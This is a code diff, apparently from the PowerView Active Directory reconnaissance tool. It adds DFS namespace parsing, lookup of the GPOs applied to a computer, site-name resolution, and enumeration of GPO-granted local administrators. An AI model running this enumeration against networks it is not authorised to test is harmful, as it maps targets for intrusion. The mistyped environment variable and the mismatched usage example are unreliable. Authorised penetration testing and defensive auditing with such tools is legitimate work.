+ $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
+ #Write-Host "Blob name size: " $blob_name_size
+ $blob_name_start = $blob_name_size_end + 1
+ $blob_name_end = $blob_name_start + $blob_name_size - 1
+ $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
+ #Write-Host "Blob Name: " $blob_name
+ $blob_data_size_start = $blob_name_end + 1
+ $blob_data_size_end = $blob_data_size_start + 3
+ $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
+ #Write-Host "blob data size: " $blob_data_size
+ $blob_data_start = $blob_data_size_end + 1
+ $blob_data_end = $blob_data_start + $blob_data_size - 1
+ $blob_data = $bin[$blob_data_start..$blob_data_end]
+ switch -wildcard ($blob_name) {
+ "\siteroot" { }
+ "\domainroot*" {
+ # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
+ # DFSRootOrLinkIDBlob
+ $root_or_link_guid_start = 0
+ $root_or_link_guid_end = 15
+ $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
+ $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
+ $prefix_size_start = $root_or_link_guid_end + 1
+ $prefix_size_end = $prefix_size_start + 1
+ $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
+ $prefix_start = $prefix_size_end + 1
+ $prefix_end = $prefix_start + $prefix_size - 1
+ $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
+ #write-host "Prefix: " $prefix
+ $short_prefix_size_start = $prefix_end + 1
+ $short_prefix_size_end = $short_prefix_size_start + 1
+ $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
+ $short_prefix_start = $short_prefix_size_end + 1
+ $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
+ $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
+ #write-host "Short Prefix: " $short_prefix
+ $type_start = $short_prefix_end + 1
+ $type_end = $type_start + 3
+ $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
+ #write-host $type
+ $state_start = $type_end + 1
+ $state_end = $state_start + 3
+ $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
+ #write-host $state
+ $comment_size_start = $state_end + 1
+ $comment_size_end = $comment_size_start + 1
+ $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
+ $comment_start = $comment_size_end + 1
+ $comment_end = $comment_start + $comment_size - 1
+ if ($comment_size -gt 0) {
+ $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
+ #Write-Host $comment
+ }
+ $prefix_timestamp_start = $comment_end + 1
+ $prefix_timestamp_end = $prefix_timestamp_start + 7
+ # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
+ $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
+ $state_timestamp_start = $prefix_timestamp_end + 1
+ $state_timestamp_end = $state_timestamp_start + 7
+ $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
+ $comment_timestamp_start = $state_timestamp_end + 1
+ $comment_timestamp_end = $comment_timestamp_start + 7
+ $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
+ $version_start = $comment_timestamp_end + 1
+ $version_end = $version_start + 3
+ $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
+
+ #write-host $version
+ if ($version -ne 3)
+ {
+ #write-host "error"
+ }
+
+ # Parse rest of DFSNamespaceRootOrLinkBlob here
+ $dfs_targetlist_blob_size_start = $version_end + 1
+ $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
+ $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
+ #write-host $dfs_targetlist_blob_size
+ $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
+ $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
+ $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
+ $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
+ $reserved_blob_size_end = $reserved_blob_size_start + 3
+ $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
+ #write-host $reserved_blob_size
+ $reserved_blob_start = $reserved_blob_size_end + 1
+ $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
+ $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
+ $referral_ttl_start = $reserved_blob_end + 1
+ $referral_ttl_end = $referral_ttl_start + 3
+ $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
+
+ #Parse DFSTargetListBlob
+ $target_count_start = 0
+ $target_count_end = $target_count_start + 3
+ $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
+ $t_offset = $target_count_end + 1
+ #write-host $target_count
+
+ for($j=1; $j -le $target_count; $j++){
+ $target_entry_size_start = $t_offset
+ $target_entry_size_end = $target_entry_size_start + 3
+ $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
+ #write-host $target_entry_size
+ $target_time_stamp_start = $target_entry_size_end + 1
+ $target_time_stamp_end = $target_time_stamp_start + 7
+ # FILETIME again or special if priority rank and priority class 0
+ $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
+ $target_state_start = $target_time_stamp_end + 1
+ $target_state_end = $target_state_start + 3
+ $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
+ #write-host $target_state
+ $target_type_start = $target_state_end + 1
+ $target_type_end = $target_type_start + 3
+ $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
+ #write-host $target_type
+ $server_name_size_start = $target_type_end + 1
+ $server_name_size_end = $server_name_size_start + 1
+ $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
+ #write-host $server_name_size
+ $server_name_start = $server_name_size_end + 1
+ $server_name_end = $server_name_start + $server_name_size - 1
+ $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
+ #write-host $server_name
+ $share_name_size_start = $server_name_end + 1
+ $share_name_size_end = $share_name_size_start + 1
+ $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
+ $share_name_start = $share_name_size_end + 1
+ $share_name_end = $share_name_start + $share_name_size - 1
+ $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
+ #write-host $share_name
+ $target_list += "\\$server_name\$share_name"
+ $t_offset = $share_name_end + 1
+ }
+ }
+ }
+ $offset = $blob_data_end + 1
+ $dfs_pkt_properties = @{
+ 'Name' = $blob_name
+ 'Prefix' = $prefix
+ 'TargetList' = $target_list
+ }
+ $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
+ $prefix = $null
+ $blob_name = $null
+ $target_list = $null
+ }
+
+ $servers = @()
+ $object_list | ForEach-Object {
+ #write-host $_.Name;
+ #write-host $_.TargetList
+ if ($_.TargetList) {
+ $_.TargetList | ForEach-Object {
+ $servers += $_.split("\")[2]
+ }
+ }
+ }
+
+ $servers
+ }
+
function Get-DFSshareV1 {
[CmdletBinding()]
param(
@@ -5183,7 +5362,7 @@ function Get-DFSshare {
[String]
$ADSpath,
- [ValidateRange(1,10000)]
+ [ValidateRange(1,10000)]
[Int]
$PageSize = 200,
@@ -5201,6 +5380,7 @@ function Get-DFSshare {
$DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$RemoteNames = $Properties.remoteservername
+ $Pkt = $Properties.pkt
$DFSshares += $RemoteNames | ForEach-Object {
try {
@@ -5213,9 +5393,22 @@ function Get-DFSshare {
}
}
}
+
+ if($pkt -and $pkt[0]) {
+ Parse-Pkt $pkt[0] | ForEach-Object {
+ # If a folder doesn't have a redirection it will
+ # have a target like
+ # \\null\TestNameSpace\folder\.DFSFolderLink so we
+ # do actually want to match on "null" rather than
+ # $null
+ if ($_ -ne "null") {
+ New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
+ }
+ }
+ }
}
catch {
- Write-Warning "Get-DFSshareV2 error : $_"
+ Write-Warning "Get-DFSshareV1 error : $_"
}
$DFSshares | Sort-Object -Property "RemoteServerName"
}
@@ -5276,7 +5469,7 @@ function Get-DFSshare {
}
$DFSshares = @()
-
+
if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
$DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
@@ -5284,7 +5477,7 @@ function Get-DFSshare {
$DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
- $DFSshares | Sort-Object -Property "RemoteServerName"
+ $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
}
@@ -5356,7 +5549,7 @@ function Get-GptTmpl {
try {
Write-Verbose "Parsing $GptTmplPath"
- Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object {
+ Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object {
if ($_ -match '\[') {
# this signifies that we're starting a new section
$SectionName = $_.trim('[]') -replace ' ',''
@@ -5553,6 +5746,10 @@ function Get-NetGPO {
The GPO display name to query for, wildcards accepted.
+ .PARAMETER ComputerName
+
+ Return all GPO objects applied to a given computer (FQDN).
+
.PARAMETER Domain
The domain to query for GPOs, defaults to the current domain.
@@ -5591,6 +5788,9 @@ function Get-NetGPO {
$DisplayName,
[String]
+ $ComputerName,
+
+ [String]
$Domain,
[String]
@@ -5613,21 +5813,95 @@ function Get-NetGPO {
process {
if ($GPOSearcher) {
- if($DisplayName) {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
+
+ if($ComputerName) {
+ $GPONames = @()
+ $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
+
+ if(!$Computers) {
+ throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
+ }
+
+ # get the given computer's OU
+ $ComputerOUs = @()
+ ForEach($Computer in $Computers) {
+ # extract all OUs a computer is a part of
+ $DN = $Computer.distinguishedname
+
+ $ComputerOUs += $DN.split(",") | ForEach-Object {
+ if($_.startswith("OU=")) {
+ $DN.substring($DN.indexof($_))
+ }
+ }
+ }
+
+ Write-Verbose "ComputerOUs: $ComputerOUs"
+
+ # find all the GPOs linked to the computer's OU
+ ForEach($ComputerOU in $ComputerOUs) {
+ $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object {
+ # get any GPO links
+ write-verbose "blah: $($_.name)"
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ }
+
+ Write-Verbose "GPONames: $GPONames"
+
+ # find any GPOs linked to the site for the given computer
+ $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
+ if($ComputerSite -and ($ComputerSite -ne 'ERROR')) {
+ $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ }
+ }
+
+ $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object {
+
+ # use the gplink as an ADS path to enumerate all GPOs for the computer
+ $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+
+ try {
+ $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
+ $Out = Convert-LDAPProperty -Properties $_.Properties
+ $Out | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $Out
+ }
+ }
+ catch {
+ Write-Warning $_
+ }
+ }
}
+
else {
- $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
- }
+ if($DisplayName) {
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))"
+ }
+ else {
+ $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))"
+ }
- try {
- $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
+ try {
+ $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
+ # convert/process the LDAP fields for each result
+ Convert-LDAPProperty -Properties $_.Properties
+ }
+ }
+ catch {
+ Write-Warning $_
}
- }
- catch {
- Write-Warning $_
}
}
}
@@ -5670,7 +5944,7 @@ function New-GPOImmediateTask {
.PARAMETER GPODisplayName
- The GPO display name to to build the task for.
+ The GPO display name to build the task for.
.PARAMETER Domain
@@ -5928,7 +6202,7 @@ function Get-NetGPOGroup {
)
# get every GPO from the specified domain with restricted groups set
- Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | Foreach-Object {
+ Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object {
$Memberof = $Null
$Members = $Null
@@ -6199,6 +6473,11 @@ function Find-GPOLocation {
$GPOguid = $_.GPOName
$GPOMembers = $_.Members
+ if(!$TargetObjects) {
+ # if the * wildcard was used, set the ObjectDistName as the GPO member sid set
+ $TargetObjects = $GPOMembers
+ }
+
if( -not $ProcessedGUIDs[$GPOguid] ) {
$GPOname = $_.GPODisplayName
$Filters = $_.Filters
@@ -6217,12 +6496,8 @@ function Find-GPOLocation {
$OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize
}
- if(!$TargetObjects) {
- # if the * wildcard was used, set the ObjectDistName as the GPO member sid set
- $TargetObjects = $GPOMembers
- }
+ ForEach ($TargetSid in $TargetObjects) {
- ForEach ($TargetSid in $TargetObjects) {
$Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
@@ -6241,7 +6516,7 @@ function Find-GPOLocation {
}
# find any sites that have this GUID applied
- Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | Foreach-Object {
+ Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object {
ForEach ($TargetSid in $TargetObjects) {
$Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize
@@ -6361,6 +6636,8 @@ function Find-GPOComputerAdmin {
Throw "-ComputerName or -OUName must be provided"
}
+ $GPOGroups = @()
+
if($ComputerName) {
$Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize
@@ -6368,16 +6645,42 @@ function Find-GPOComputerAdmin {
throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name"
}
+ $TargetOUs = @()
ForEach($Computer in $Computers) {
# extract all OUs a computer is a part of
$DN = $Computer.distinguishedname
- $TargetOUs = $DN.split(",") | Foreach-Object {
+ $TargetOUs += $DN.split(",") | ForEach-Object {
if($_.startswith("OU=")) {
$DN.substring($DN.indexof($_))
}
}
}
+
+ # enumerate any linked GPOs for the computer's site
+ $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName
+ if($ComputerSite -and ($ComputerSite -ne 'ERROR')) {
+ $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object {
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
+ }
+ }
+ } | ForEach-Object {
+ $GPOGroupArgs = @{
+ 'Domain' = $Domain
+ 'DomainController' = $DomainController
+ 'ADSpath' = $_
+ 'UsePSDrive' = $UsePSDrive
+ 'PageSize' = $PageSize
+ }
+
+ # for each GPO link, get any locally set user/group SIDs
+ Get-NetGPOGroup @GPOGroupArgs
+ }
+ }
}
else {
$TargetOUs = @($OUName)
@@ -6385,19 +6688,19 @@ function Find-GPOComputerAdmin {
Write-Verbose "Target OUs: $TargetOUs"
- $TargetOUs | Where-Object {$_} | Foreach-Object {
-
- $OU = $_
+ $TargetOUs | Where-Object {$_} | ForEach-Object {
# for each OU the computer is a part of, get the full OU object
- $GPOgroups = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | Foreach-Object {
+ $GPOgroups += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object {
# and then get any GPO links
- $_.gplink.split("][") | Foreach-Object {
- if ($_.startswith("LDAP")) {
- $_.split(";")[0]
+ if($_.gplink) {
+ $_.gplink.split("][") | ForEach-Object {
+ if ($_.startswith("LDAP")) {
+ $_.split(";")[0]
+ }
}
}
- } | Foreach-Object {
+ } | ForEach-Object {
$GPOGroupArgs = @{
'Domain' = $Domain
'DomainController' = $DomainController
@@ -6409,79 +6712,77 @@ function Find-GPOComputerAdmin {
# for each GPO link, get any locally set user/group SIDs
Get-NetGPOGroup @GPOGroupArgs
}
+ }
- # for each found GPO group, resolve the SIDs of the members
- $GPOgroups | Where-Object {$_} | Foreach-Object {
- $GPO = $_
+ # for each found GPO group, resolve the SIDs of the members
+ $GPOgroups | Where-Object {$_} | ForEach-Object {
+ $GPO = $_
- if ($GPO.members) {
- $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object {
- if($_ -match '^S-1-.*') {
- $_
- }
- else {
- # if there are any plain group names, try to resolve them to sids
- (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID
- }
- } | Sort-Object -Unique
- }
+ if ($GPO.members) {
+ $GPO.members = $GPO.members | Where-Object {$_} | ForEach-Object {
+ if($_ -match '^S-1-.*') {
+ $_
+ }
+ else {
+ # if there are any plain group names, try to resolve them to sids
+ (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID
+ }
+ } | Sort-Object -Unique
+ }
- $GPO.members | Foreach-Object {
+ $GPO.members | ForEach-Object {
- # resolve this SID to a domain object
- $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
+ # resolve this SID to a domain object
+ $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_
- $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
- $GPOComputerAdmin = New-Object PSObject
- $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
- $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU
- $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
- $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
- $GPOComputerAdmin
+ $GPOComputerAdmin = New-Object PSObject
+ $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_
+ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup
+ $GPOComputerAdmin
- # if we're recursing and the current result object is a group
- if($Recurse -and $GPOComputerAdmin.isGroup) {
+ # if we're recursing and the current result object is a group
+ if($Recurse -and $GPOComputerAdmin.isGroup) {
- Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object {
+ Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object {
- $MemberDN = $_.distinguishedName
+ $MemberDN = $_.distinguishedName
- # extract the FQDN from the Distinguished Name
- $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
+ # extract the FQDN from the Distinguished Name
+ $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
- $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
+ $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype
- if ($_.samAccountName) {
- # forest users have the samAccountName set
- $MemberName = $_.samAccountName
+ if ($_.samAccountName) {
+ # forest users have the samAccountName set
+ $MemberName = $_.samAccountName
+ }
+ else {
+ # external trust users have a SID, so convert it
+ try {
+ $MemberName = Convert-SidToName $_.cn
}
- else {
- # external trust users have a SID, so convert it
- try {
- $MemberName = Convert-SidToName $_.cn
- }
- catch {
- # if there's a problem contacting the domain to resolve the SID
- $MemberName = $_.cn
- }
+ catch {
+ # if there's a problem contacting the domain to resolve the SID
+ $MemberName = $_.cn
}
-
- $GPOComputerAdmin = New-Object PSObject
- $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
- $GPOComputerAdmin | Add-Member Noteproperty 'OU' $OU
- $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
- $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
- $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
- $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
- $GPOComputerAdmin
}
+
+ $GPOComputerAdmin = New-Object PSObject
+ $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPO.GPODisplayName
+ $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPO.GPOPath
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN
+ $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid
+ $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGroup
+ $GPOComputerAdmin
}
}
}
@@ -6521,9 +6822,15 @@ function Get-DomainPolicy {
.EXAMPLE
- PS C:\> Get-NetGPO
+ PS C:\> Get-DomainPolicy
+
+ Returns the domain policy for the current domain.
+
+ .EXAMPLE
- Returns the GPOs in the current domain.
+ PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local
+
+ Returns the policy for the MASTER.testlab.local domain controller.
#>
[CmdletBinding()]
@@ -6577,25 +6884,25 @@ function Get-DomainPolicy {
}
# parse the GptTmpl.inf
- Get-GptTmpl @ParseArgs | Foreach-Object {
+ Get-GptTmpl @ParseArgs | ForEach-Object {
if($ResolveSids) {
# if we're resolving sids in PrivilegeRights to names
$Policy = New-Object PSObject
- $_.psobject.properties | Foreach-Object {
+ $_.psobject.properties | ForEach-Object {
if( $_.Name -eq 'PrivilegeRights') {
$PrivilegeRights = New-Object PSObject
# for every nested SID member of PrivilegeRights, try to
# unpack everything and resolve the SIDs as appropriate
- $_.Value.psobject.properties | Foreach-Object {
+ $_.Value.psobject.properties | ForEach-Object {
- $Sids = $_.Value | Foreach-Object {
+ $Sids = $_.Value | ForEach-Object {
try {
if($_ -isnot [System.Array]) {
Convert-SidToName $_
}
else {
- $_ | Foreach-Object { Convert-SidToName $_ }
+ $_ | ForEach-Object { Convert-SidToName $_ }
}
}
catch {
@@ -6707,7 +7014,7 @@ function Get-NetLocalGroup {
[Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)]
[Alias('HostName')]
[String[]]
- $ComputerName = 'localhost',
+ $ComputerName = "$($env:COMPUTERNAMECOMPUTERNAME)",
[Parameter(ParameterSetName = 'WinNT')]
[Parameter(ParameterSetName = 'API')]
@@ -7492,7 +7799,7 @@ filter Invoke-CheckLocalAdminAccess {
<#
.SYNOPSIS
- This function will use the OpenSCManagerW Win32API call to to establish
+ This function will use the OpenSCManagerW Win32API call to establish
a handle to the remote host. If this succeeds, the current user context
has local administrator acess to the target.
@@ -7566,6 +7873,82 @@ filter Invoke-CheckLocalAdminAccess {
}
+filter Get-SiteName {
+<#
+ .SYNOPSIS
+
+ This function will use the DsGetSiteName Win32API call to look up the
+ name of the site where a specified computer resides.
+
+ .PARAMETER ComputerName
+
+ The hostname to look the site up for, default to localhost.
+
+ .EXAMPLE
+
+ PS C:\> Get-SiteName -ComputerName WINDOWS1
+
+ Returns the site for WINDOWS1.testlab.local.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
+
+ Returns the sites for every machine in AD.
+#>
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = $Env:ComputerName
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # if we get an IP address, try to resolve the IP to a hostname
+ if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
+ $IPAddress = $Computer
+ $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
+ }
+ else {
+ $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
+ }
+
+ $PtrInfo = [IntPtr]::Zero
+
+ $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
+ Write-Debug "Get-SiteName result for $Computer : $Result"
+
+ $ComputerSite = New-Object PSObject
+ $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
+ $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
+
+ if ($Result -eq 0) {
+ $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
+ $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
+ }
+ elseif($Result -eq 1210) {
+ Write-Verbose "Computername '$Computer' is not in a valid form."
+ $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR'
+ }
+ elseif($Result -eq 1919) {
+ Write-Verbose "Computer '$Computer' is not in a site"
+
+ $ComputerSite | Add-Member Noteproperty 'SiteName' $Null
+ }
+ else {
+ Write-Verbose "Error"
+ $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR'
+ }
+
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ $ComputerSite
+}
+
+
filter Get-LastLoggedOn {
<#
.SYNOPSIS
@@ -9173,7 +9556,7 @@ function Invoke-ProcessHunter {
else {
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| Foreach-Object {
+ $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {
$_.MemberName
}
}
@@ -9510,7 +9893,7 @@ function Invoke-EventHunter {
else {
ForEach ($Domain in $TargetDomains) {
Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'"
- $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | Foreach-Object {
+ $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {
$_.MemberName
}
}
@@ -11776,7 +12159,7 @@ function Find-ManagedSecurityGroups {
#>
# Go through the list of security groups on the domain and identify those who have a manager
- Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | Foreach-Object {
+ Get-NetGroup -FullData -Filter '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
# Retrieve the object that the managedBy DN refers to
$group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
